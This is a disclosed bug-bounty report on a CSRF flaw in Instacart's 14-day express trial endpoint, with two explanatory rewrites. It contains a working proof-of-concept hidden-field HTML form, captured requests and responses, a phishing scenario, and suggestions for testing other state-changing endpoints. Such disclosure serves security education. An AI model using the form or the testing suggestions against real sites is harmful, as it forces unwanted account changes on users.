Skip to content
CSRF Disclosed report Beginner

CSRF Trial 14 days express subscription

The trial subscription endpoint accepted cross-site form posts without any CSRF protection, so a page on another site could silently start a 14-day express trial on a logged-in user's account. An attacker could use this to force new users into a trial they did not choose, consuming their trial period and possibly misleading them into handing over details on a phishing page.

tolo7010 Follow

Originally disclosed on HackerOne

  • Fixed in 8 days
  • Paid in 8 days
  • Disclosed after 11 months

Description

When a new user has been registered, Instacart pops up a message offering the user for a limited time 14 days express trial, in which the user may decide to skip and subscribe later on decision. The research has found that the express trial subscription endpoint does not implement any protection against CSRF attack, the following list possible cases in which the endpoint may needed protection:

  • The new user, may decide to skip the subscription and try the free version first for a while, and later (for example, before actual service purchase) try for 14 days express, in this case the attacker force user subscription via CSRF attack.

  • The user who was CSRFed may believe that he is using the free version - consuming trial time, and missing the express features.

  • The effect of CSRF vulnerability in this endpoint means that new user is subscribe for express trial automatically. Serious attacker may create a phishing site claiming that all new user will get unlimited subscription (by clicking the phishing site subscription button), the attacker may tell user to just ignore the remaining days they see, all the users will believe that because clicking the attacker site does affect they instacart account, plus the site can be trusty (e.g: premiumsecret-instacart.com), the user may provide further personal detail on attacker requests.

Reproduction

  1. Go to instacart.com
  2. Register for a new test account, e.g: [email protected]
  3. After registration, you will see limited offer popup like the following image:
1.png
1.png From the original on HackerOne
  1. Click 'No thank', you will be redirected to the welcome page. also you will see reminder at the top right corner that you can get free trial later.

  2. With current browser, open a new tap and go to CSRF page which is shown in the next section.

  3. Clicking 'submit' responses with the following message

2.png
2.png From the original on HackerOne
  1. Refresh the instacart page, you will see message as follow:
3.png
3.png From the original on HackerOne

CSRF Page

<!doctype html>
<html>
<head>
</head> 
<body>
<form action="https://www.instacart.com/v3/subscriptions" method="POST">
<input type="hidden" name="free_trial" id="free_trial" value="true">
<input type="hidden" name="promo" id="promo" value="true">
<input type="hidden" name="term" id="term" value="year">
<input type="submit">
</form>
</body>
</html>

Sample Request/Response from Burp

Request:

POST /v3/subscriptions HTTP/1.1
Host: www.instacart.com
Connection: close
Content-Length: 36
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/poc/csrf/csrf-instacart.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,th;q=0.8,lo;q=0.7
Cookie: ...

free_trial=true&promo=true&term=year

Response:

HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:27:47 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Server: nginx
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
ETag: W/"9409a344d9975c9f6b21a4b5dba1efb9"
X-Jobs: [email protected]
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: ...
Set-Cookie: ...
Set-Cookie: ...
X-Request-Id: c2a53724-d5b2-4171-8c7a-bc01ed066571
X-Runtime: 0.224540
Vary: Origin
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Length: 560

{
  "subscription": {
    "id": "3178765",
    "credit_card_id": "",
    "duration_in_days": 14,
    "attributes": [
      "current",
      "can_receive_renewal_reminder",
      "free",
      "trial"
    ],
    "autorenew": true,
    "current?": true,
    "starts_on_date": "2018-04-06T03:27:46.920Z",
    "starts_on": "April  6, 2018",
    "ends_on_date": "2018-04-20T06:59:59.999Z",
    "ends_on": "April 20, 2018",
    "trial": true,
    "send_reminder_on": "2018-04-17T06:59:59.999Z",
    "send_secondary_reminder_on": null,
    "time_remaining": "14 days",
    "next_price": "$149",
    "next_term": null,
    "term": "year",
    "term_length": "year",
    "plan_type": "trial",
    "subscription_plan_id": "1"
  }
}

Recommend Fix

  • Review how the trial subscription endpoint works, make sure it implements CSRF protection.
(POST) https://www.instacart.com/v3/subscriptions

Impact

Attacker can force new user to subscribe 14 days express trail period

The hacker selected the Cross-Site Request Forgery (CSRF) weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

URL https://www.instacart.com/v3/subscriptions

Verified Yes

Can a victim be forced to perform a sensitive state-change operation unknowningly? Yes

What state-change operation can be performed? Trial 14 days express subscription

The original report as published on HackerOne, by tolo7010. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Instacart is a grocery delivery service, and the report concerns the subscription feature on www.instacart.com. When a new user registers, Instacart shows a popup offering a limited-time 14 day express trial. The user can decline the offer and subscribe later if they choose. The trial is created by a call to the subscription endpoint, and the researcher found that this endpoint accepted the request without any protection against cross-site request forgery.

The researcher lists the cases in which the endpoint would need that protection:

  • A new user may skip the subscription and use the free version for a while, then later, for example before an actual service purchase, try the 14 day express trial. In that case an attacker can force the subscription through CSRF.
  • A user who was CSRFed may believe they are using the free version, consuming trial time and missing the express features.
  • The effect of the vulnerability is that a new user is subscribed to the express trial automatically. A serious attacker could build a phishing site claiming that all new users get an unlimited subscription when they click the site's subscription button. The attacker could tell the user to ignore the remaining days they see, and users would believe it because clicking the attacker's site does affect their Instacart account. The site can look trustworthy, for example premiumsecret-instacart.com, and the user may then provide further personal details at the attacker's request.

Setup

The researcher registered a new test account, using an address of the form [redacted]. The proof of concept was hosted locally: the request shows an Origin of http://localhost and a Referer of http://localhost/poc/csrf/csrf-instacart.php. The browser used for the test sent the user agent of Chrome 65 on Windows, and the request and response were captured with Burp. No other preconditions are described.

Finding it

The researcher noticed that the express trial subscription endpoint implements no protection against CSRF. The endpoint in question is:

Text
(POST) https://www.instacart.com/v3/subscriptions

Because the endpoint performs a state change, creating a subscription on the victim's account, and because it accepted a cross-origin form post, the researcher treated the missing protection as the vulnerability.

Exploitation

Step 1: register and observe the offer

  1. Go to instacart.com.
  2. Register a new test account, for example [redacted].
  3. After registration a limited offer popup appears.
1.png
1.png From the original on HackerOne

Step 2: decline the offer

Clicking 'No thank' redirects to the welcome page, and a reminder appears in the top right corner saying the free trial can be obtained later. This establishes that the trial is optional and that the account is in a state where it has not subscribed.

Step 3: open the CSRF page

In the same browser, open a new tab and load the CSRF page shown below. The page is a plain HTML form that posts to the subscription endpoint with three hidden fields.

HTML
<!doctype html>
<html>
<head>
</head>
<body>
<form action="https://www.instacart.com/v3/subscriptions" method="POST">
<input type="hidden" name="free_trial" id="free_trial" value="true">
<input type="hidden" name="promo" id="promo" value="true">
<input type="hidden" name="term" id="term" value="year">
<input type="submit">
</form>
</body>
</html>

The form action targets https://www.instacart.com/v3/subscriptions with method="POST". The hidden fields send free_trial=true, promo=true and term=year, which are the parameters the endpoint uses to create the trial subscription. The visible submit input is the button that submits the form.

Step 4: submit and read the response

Clicking 'submit' returns the following message.

2.png
2.png From the original on HackerOne

The same exchange captured in Burp shows the request:

HTTP
POST /v3/subscriptions HTTP/1.1
Host: www.instacart.com
Connection: close
Content-Length: 36
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/poc/csrf/csrf-instacart.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,th;q=0.8,lo;q=0.7
Cookie: ...

free_trial=true&promo=true&term=year

The request is a form-encoded POST to /v3/subscriptions. The Origin header is http://localhost and the Referer points at the local proof-of-concept page, so the server can see the request comes from another origin. The body carries the three parameters from the form. The Cookie header is shown as ...; the browser attaches the session cookie automatically.

The response:

HTTP
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:27:47 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Server: nginx
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
ETag: W/"[redacted]"
X-Jobs: [redacted]
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: ...
Set-Cookie: ...
Set-Cookie: ...
X-Request-Id: c2a53724-d5b2-4171-8c7a-bc01ed066571
X-Runtime: 0.224540
Vary: Origin
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Length: 560

{
  "subscription": {
    "id": "3178765",
    "credit_card_id": "",
    "duration_in_days": 14,
    "attributes": [
      "current",
      "can_receive_renewal_reminder",
      "free",
      "trial"
    ],
    "autorenew": true,
    "current?": true,
    "starts_on_date": "2018-04-06T03:27:46.920Z",
    "starts_on": "April  6, 2018",
    "ends_on_date": "2018-04-20T06:59:59.999Z",
    "ends_on": "April 20, 2018",
    "trial": true,
    "send_reminder_on": "2018-04-17T06:59:59.999Z",
    "send_secondary_reminder_on": null,
    "time_remaining": "14 days",
    "next_price": "$149",
    "next_term": null,
    "term": "year",
    "term_length": "year",
    "plan_type": "trial",
    "subscription_plan_id": "1"
  }
}

The response is a 200 with a JSON body describing the newly created subscription. It has duration_in_days of 14, the attributes current, can_receive_renewal_reminder, free and trial, autorenew set to true, a start date of 6 April 2018 and an end date of 20 April 2018, time_remaining of 14 days, next_price of $149, term and term_length of year, and plan_type of trial. The subscription was created even though the request came from http://localhost.

Step 5: confirm on the Instacart page

Refreshing the Instacart page shows the following message.

3.png
3.png From the original on HackerOne

This confirms that the account now holds the trial subscription that was created by the cross-origin request.

Root cause

The subscription endpoint accepted a state-changing POST from a different origin and created the subscription. The request carried an Origin of http://localhost and a Referer from the local proof-of-concept page, and the server still processed it. The response headers include X-Frame-Options: SAMEORIGIN, X-XSS-Protection, X-Content-Type-Options: nosniff and Strict-Transport-Security, but none of these prevents a cross-site form post; they address framing, script injection, MIME sniffing and transport security respectively. The report states that the endpoint does not implement any protection against CSRF.

Impact

An attacker can force a new user to subscribe to the 14 day express trial period. The report states that an attacker can force a new user to subscribe to the 14 day express trial period. The consequences described in the report are that the user may believe they are on the free version while consuming trial time and missing express features, and that the forced subscription can be used as the hook for a phishing site that promises an unlimited subscription and then asks the user for further personal details. The report does not state a bounty, severity score or CVSS rating.

Fix

The recommendation is to review how the trial subscription endpoint works and make sure it implements CSRF protection:

Text
(POST) https://www.instacart.com/v3/subscriptions

The report does not say what change, if any, was made.

Variants to test

  • Try the same cross-origin form post against other subscription or trial endpoints on the same site. A positive result is a 200 response with a JSON body describing a newly created subscription, as in the response above.
  • Remove or alter the Origin and Referer headers in the proof-of-concept request to see whether the server checks them at all. A positive result is that the subscription is still created when the headers are absent or point elsewhere.
  • Test whether the endpoint accepts the same parameters with different values, such as a different term, and whether the resulting subscription changes accordingly. A positive result is a subscription object whose term or term_length reflects the submitted value.
  • Check whether the endpoint requires a CSRF token that the proof-of-concept omitted. A positive result is that the request succeeds without any token, as shown here.
  • Look for other state-changing endpoints that accept form-encoded POSTs with the session cookie and no token, such as account settings or payment methods. A positive result is a state change visible after refreshing the site, as in the final screenshot.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Instacart is a grocery delivery service. When you sign up for a new account, it shows you a popup offering a free 14 day trial of its "express" subscription. You are allowed to say no and decide later. The researcher found that the part of Instacart's website that switches this trial on will do so for anyone who asks, even if the request comes from a completely different website that the user happens to be visiting. That is the bug: a stranger's web page can turn on the 14 day express trial on your Instacart account when you submit its form.

To understand why that matters, you need a few ideas first.

What a website and a browser do. When you type an address into your browser, the browser fetches a page from a server (a computer that holds the website) and shows it to you. Some pages are just text and pictures. Others contain forms, like the box where you type your email and password, with a button that sends what you typed back to the server.

What an API endpoint is. Think of a restaurant. The dining room is the website you see; the kitchen is where the real work happens. The waiter takes your order to the kitchen through a specific door. An endpoint is that door: a specific address on the server that accepts a specific kind of request and does a specific job. Instacart's endpoint for creating a subscription is at the address https://www.instacart.com/v3/subscriptions. When the website wants to start your trial, it sends a request to that address.

What a cookie is. When you log in to a website, the server gives your browser a small piece of text called a cookie. Your browser stores it and sends it back automatically with every later request to that same website. The cookie is how the server recognises you: it is like a wristband you get at an event, which lets staff know you already paid. You never see it, and you never have to attach it yourself; the browser does that for you.

What CSRF means. CSRF stands for Cross-Site Request Forgery. Cross-site means the request comes from a different website than the one being targeted. Forgery means it is not genuine. Put together: a malicious page tricks your browser into sending a request to a site you are logged in to. Because your browser attaches your cookie automatically, the target site thinks the request came from you. It is like someone writing a letter in your handwriting and posting it for you: the recipient has no reason to doubt it.

What a state change is. Some requests only read information (show me my orders). Others change something on the server (place an order, change my address, start a subscription). The second kind is called a state change, and it is the dangerous kind to let a stranger trigger. Starting a trial subscription is a state change.

What the product feature does. The express trial is a 14 day free period of a paid subscription. The response shows autorenew set to true and a next_price of $149 for a year.

The researcher lists the situations where this missing protection matters:

  • A new user may skip the subscription and use the free version for a while, then later, for example before an actual purchase, try the 14 day express trial. In that case an attacker can force the subscription through CSRF.
  • A user who was CSRFed may believe they are using the free version, consuming trial time and missing the express features.
  • The effect is that a new user is subscribed to the express trial automatically. A serious attacker could build a phishing site claiming that all new users get an unlimited subscription when they click the site's subscription button. The attacker could tell the user to ignore the remaining days they see, and users would believe it because clicking the attacker's site does affect their Instacart account. The site can look trustworthy, for example premiumsecret-instacart.com, and the user may then provide further personal details at the attacker's request.

Setting up the test

The researcher registered a new test account, using an address of the form [redacted]. The fake attack page was hosted on the researcher's own computer rather than on the internet: the captured request shows an Origin of http://localhost and a Referer of http://localhost/poc/csrf/csrf-instacart.php. localhost is the name a computer uses for itself, so this tells us the page was served locally. The browser used for the test sent the user agent of Chrome 65 on Windows, and the request and response were captured with Burp, a tool that sits between the browser and the server and lets you read and edit the traffic. No other preconditions are described.

Finding it

The researcher noticed that the express trial subscription endpoint implements no protection against CSRF. The endpoint in question is:

Text
(POST) https://www.instacart.com/v3/subscriptions

POST is the type of request used when you are sending data to the server to create or change something, as opposed to simply asking for a page. Because this endpoint performs a state change, creating a subscription on the victim's account, and because it accepted a form post coming from another origin, the researcher treated the missing protection as the vulnerability. An origin is the combination of scheme, host and port that a page was loaded from, for example http://localhost; two pages with different origins are not supposed to be able to act on each other's behalf without permission.

Reproducing it step by step

Step 1: register and observe the offer

  1. Go to instacart.com.
  2. Register a new test account, for example [redacted].
  3. After registration a limited offer popup appears.
1.png
1.png From the original on HackerOne

The screenshot shows the popup that offers the 14 day express trial right after sign-up. This is the normal, legitimate way the trial is meant to start: the user sees the offer and chooses.

Step 2: decline the offer

Clicking 'No thank' redirects to the welcome page, and a reminder appears in the top right corner saying the free trial can be obtained later. This step matters because it puts the account in a known state: the user has deliberately not subscribed, and the trial is still available to be claimed later. That is exactly the state an attacker wants to exploit, because the forced subscription will then look like a change the user did not make.

Step 3: open the CSRF page

In the same browser, open a new tab and load the CSRF page shown below. The page is a plain HTML form that posts to the subscription endpoint with three hidden fields.

HTML
<!doctype html>
<html>
<head>
</head>
<body>
<form action="https://www.instacart.com/v3/subscriptions" method="POST">
<input type="hidden" name="free_trial" id="free_trial" value="true">
<input type="hidden" name="promo" id="promo" value="true">
<input type="hidden" name="term" id="term" value="year">
<input type="submit">
</form>
</body>
</html>

Line by line:

  • <!doctype html> tells the browser this is a modern HTML page.
  • <html>, <head>, </head>, <body>, </body>, </html> are the usual skeleton of a page. The head is empty here; everything visible is in the body.
  • <form action="https://www.instacart.com/v3/subscriptions" method="POST"> starts a form. action is the address the form will send its data to, and method="POST" says the data goes in the body of the request rather than in the address bar. This is the same endpoint the real Instacart site uses.
  • <input type="hidden" name="free_trial" id="free_trial" value="true"> creates a field the user cannot see, named free_trial, carrying the value true. Hidden fields are how a form can send information the user never typed.
  • <input type="hidden" name="promo" id="promo" value="true"> does the same for a field named promo, set to true.
  • <input type="hidden" name="term" id="term" value="year"> sends a field named term with the value year, meaning the subscription term is one year.
  • <input type="submit"> is the only visible part: the button the victim clicks.

So the page looks like a single button, but clicking it sends three pieces of data to Instacart. The attacker does not need to know the victim's password or cookie; the browser supplies the cookie on its own because the request goes to www.instacart.com.

Step 4: submit and read the response

Clicking 'submit' returns the following message.

2.png
2.png From the original on HackerOne

The screenshot shows the message returned after the form is submitted. The same exchange captured in Burp shows the request:

HTTP
POST /v3/subscriptions HTTP/1.1
Host: www.instacart.com
Connection: close
Content-Length: 36
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/poc/csrf/csrf-instacart.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,th;q=0.8,lo;q=0.7
Cookie: ...

free_trial=true&promo=true&term=year

What each part means:

  • POST /v3/subscriptions HTTP/1.1 is the first line of an HTTP request: the method (POST), the path on the server (/v3/subscriptions), and the version of the protocol (HTTP/1.1).
  • Host: www.instacart.com says which website the request is for. One server can host many sites, so this tells it which one.
  • Connection: close asks the server to close the connection after replying.
  • Content-Length: 36 says the body is 36 bytes long, so the server knows where it ends.
  • Cache-Control: max-age=0 is a caching hint; it asks that the response not be reused from a cache.
  • Origin: http://localhost is the browser telling the server where the page that made the request came from. Here it is the researcher's own machine, not Instacart. This is the key line: the server can see the request is cross-site.
  • Upgrade-Insecure-Requests: 1 is a browser preference asking the server to use secure (HTTPS) connections.
  • Content-Type: application/x-www-form-urlencoded says the body is formatted like a form submission, with name=value pairs joined by &.
  • User-Agent: ... identifies the browser and operating system, here Chrome 65 on Windows.
  • Accept: ... lists the kinds of content the browser is willing to receive.
  • Referer: http://localhost/poc/csrf/csrf-instacart.php is the address of the page that contained the form. Like Origin, it points at the local proof-of-concept page.
  • Accept-Encoding: gzip, deflate says the browser can accept compressed responses.
  • Accept-Language: ... lists the user's preferred languages.
  • Cookie: ... is where the victim's session cookie would appear. It is shown as ... here because it is a secret; in a real attack the browser would fill it in automatically.
  • The blank line separates the headers from the body.
  • free_trial=true&promo=true&term=year is the body: the three values from the hidden fields, in the same name=value form.

The response:

HTTP
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:27:47 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Server: nginx
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
ETag: W/"[redacted]"
X-Jobs: [redacted]
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: ...
Set-Cookie: ...
Set-Cookie: ...
X-Request-Id: c2a53724-d5b2-4171-8c7a-bc01ed066571
X-Runtime: 0.224540
Vary: Origin
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Length: 560

{
  "subscription": {
    "id": "3178765",
    "credit_card_id": "",
    "duration_in_days": 14,
    "attributes": [
      "current",
      "can_receive_renewal_reminder",
      "free",
      "trial"
    ],
    "autorenew": true,
    "current?": true,
    "starts_on_date": "2018-04-06T03:27:46.920Z",
    "starts_on": "April  6, 2018",
    "ends_on_date": "2018-04-20T06:59:59.999Z",
    "ends_on": "April 20, 2018",
    "trial": true,
    "send_reminder_on": "2018-04-17T06:59:59.999Z",
    "send_secondary_reminder_on": null,
    "time_remaining": "14 days",
    "next_price": "$149",
    "next_term": null,
    "term": "year",
    "term_length": "year",
    "plan_type": "trial",
    "subscription_plan_id": "1"
  }
}

What each part means:

  • HTTP/1.1 200 OK is the status line. 200 means the server accepted the request and did what was asked. OK is the human-readable label for that code.
  • Date: ... is when the server produced the response.
  • Content-Type: application/json; charset=utf-8 says the body is JSON, a text format for structured data, encoded in UTF-8.
  • Connection: close says the connection will be closed after this response.
  • Server: nginx names the web server software.
  • X-Frame-Options: SAMEORIGIN stops other sites from embedding this page in a frame. It is a defence against clickjacking, a different trick, and does nothing about a form post.
  • X-XSS-Protection: 1; mode=block is an old browser hint about blocking some script injection. It does not stop CSRF.
  • X-Content-Type-Options: nosniff stops the browser from guessing the content type. It does not stop CSRF.
  • ETag: ... is a fingerprint of the response content, used for caching.
  • X-Jobs: [redacted] is a custom header, apparently a recruitment joke.
  • Cache-Control: max-age=0, private, must-revalidate says the response should not be stored and reused.
  • Set-Cookie: ... lines tell the browser to store cookies. They are shown as ... because they are secrets.
  • X-Request-Id: ... is a unique identifier for this request, useful for debugging.
  • X-Runtime: 0.224540 is how long the server took to handle it, in seconds.
  • Vary: Origin tells caches that the response can differ depending on the Origin header.
  • Strict-Transport-Security: ... tells the browser to always use HTTPS for this site in future. It does not stop CSRF.
  • Content-Length: 560 is the size of the body in bytes.
  • The blank line separates headers from body.
  • The body is a JSON object with a single key, subscription, describing the newly created subscription. id is its identifier. credit_card_id is empty, meaning no card was attached. duration_in_days is 14. attributes lists current, can_receive_renewal_reminder, free and trial. autorenew is true, so it will renew by itself. current? is true, meaning it is the active subscription. starts_on_date and starts_on give the start, 6 April 2018. ends_on_date and ends_on give the end, 20 April 2018. trial is true. send_reminder_on is 17 April 2018, when a reminder will be sent. send_secondary_reminder_on is null, meaning there is none. time_remaining is 14 days. next_price is $149, the price after the trial. next_term is null. term and term_length are both year. plan_type is trial. subscription_plan_id is 1.

The important point is that the subscription was created even though the request came from http://localhost. The server saw the cross-site origin and processed the request anyway.

Step 5: confirm on the Instacart page

Refreshing the Instacart page shows the following message.

3.png
3.png From the original on HackerOne

The screenshot shows the account now holding the trial subscription that was created by the cross-origin request. This shows the change is visible in the account after refreshing the Instacart page.

Why it worked

The subscription endpoint accepted a state-changing POST from a different origin and created the subscription. The request carried an Origin of http://localhost and a Referer from the local proof-of-concept page, and the server still processed it. The response headers include X-Frame-Options: SAMEORIGIN, X-XSS-Protection, X-Content-Type-Options: nosniff and Strict-Transport-Security, but none of these prevents a cross-site form post; they address framing, script injection, MIME sniffing and transport security respectively. The report states that the endpoint does not implement any protection against CSRF. A CSRF token is a random value the server puts into the real page and expects back with the request; an attacker's page cannot know it, so the request is rejected.

What an attacker could do with it

An attacker can force a new user to subscribe to the 14 day express trial period. The report states that an attacker can force a new user to subscribe to the 14 day express trial period. The consequences described in the report are that the user may believe they are on the free version while consuming trial time and missing express features, and that the forced subscription can be used as the hook for a phishing site that promises an unlimited subscription and then asks the user for further personal details. The report does not state a bounty, severity score or CVSS rating.

The fix

The recommendation is to review how the trial subscription endpoint works and make sure it implements CSRF protection:

Text
(POST) https://www.instacart.com/v3/subscriptions

The report does not say what change, if any, was made.

Other things worth testing

  • Try the same cross-origin form post against other subscription or trial endpoints on the same site. A positive result is a 200 response with a JSON body describing a newly created subscription, as in the response above.
  • Remove or alter the Origin and Referer headers in the proof-of-concept request to see whether the server checks them at all. A positive result is that the subscription is still created when the headers are absent or point elsewhere.
  • Test whether the endpoint accepts the same parameters with different values, such as a different term, and whether the resulting subscription changes accordingly. A positive result is a subscription object whose term or term_length reflects the submitted value.
  • Check whether the endpoint requires a CSRF token that the proof-of-concept omitted. A positive result is that the request succeeds without any token, as shown here.
  • Look for other state-changing endpoints that accept form-encoded POSTs with the session cookie and no token, such as account settings or payment methods. A positive result is a state change visible after refreshing the site, as in the final screenshot.

Glossary

  • API endpoint: a specific address on a server that accepts a particular kind of request and performs a particular job.
  • Browser: the program you use to view websites, such as Chrome or Firefox.
  • Burp: a tool that sits between the browser and the server so you can read and edit the traffic.
  • Cookie: a small piece of text a server gives your browser, which the browser sends back automatically so the server can recognise you.
  • Cross-origin: coming from a different scheme, host or port than the target site.
  • CSRF (Cross-Site Request Forgery): a trick where a malicious page makes your browser send a request to a site you are logged in to, using your cookie without your knowledge.
  • CSRF token: a random value the server includes in the real page and expects back with a request, which an attacker's page cannot know.
  • CVSS: a standard scoring system for rating the severity of a vulnerability.
  • Endpoint: see API endpoint.
  • Form: the part of a web page where you enter information and press a button to send it to the server.
  • Hidden field: a form field the user cannot see, used to send extra data.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HTTPS: HTTP with encryption, so the traffic cannot be read in transit.
  • JSON: a text format for structured data, made of keys and values.
  • localhost: the name a computer uses for itself.
  • MIME sniffing: a browser guessing a file's type from its content instead of trusting the declared type.
  • Origin: the combination of scheme, host and port a page was loaded from.
  • Phishing: a fake site or message that pretends to be genuine in order to get you to hand over information or click something.
  • POST: the HTTP method used to send data to the server to create or change something.
  • Proof of concept (PoC): a small demonstration that shows a vulnerability is real.
  • Referer: a request header giving the address of the page that made the request.
  • Request: the message a browser sends to a server asking for something or sending data.
  • Response: the message a server sends back.
  • Session: the period during which a server recognises you as logged in, tracked by a cookie.
  • State change: a request that alters something on the server, such as creating a subscription.
  • Status code: the number at the start of a response saying what happened, such as 200 for success.
  • User agent: a header identifying the browser and operating system.
  • X-Frame-Options: a response header that stops other sites from embedding a page in a frame.
  • X-XSS-Protection: an old response header hinting that the browser should block some script injection.
  • X-Content-Type-Options: a response header that stops the browser guessing a file's type.
  • Strict-Transport-Security: a response header telling the browser to always use HTTPS for the site.

More by tolo7010

View all

15 more disclosed reports, best first.

More from Instacart

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.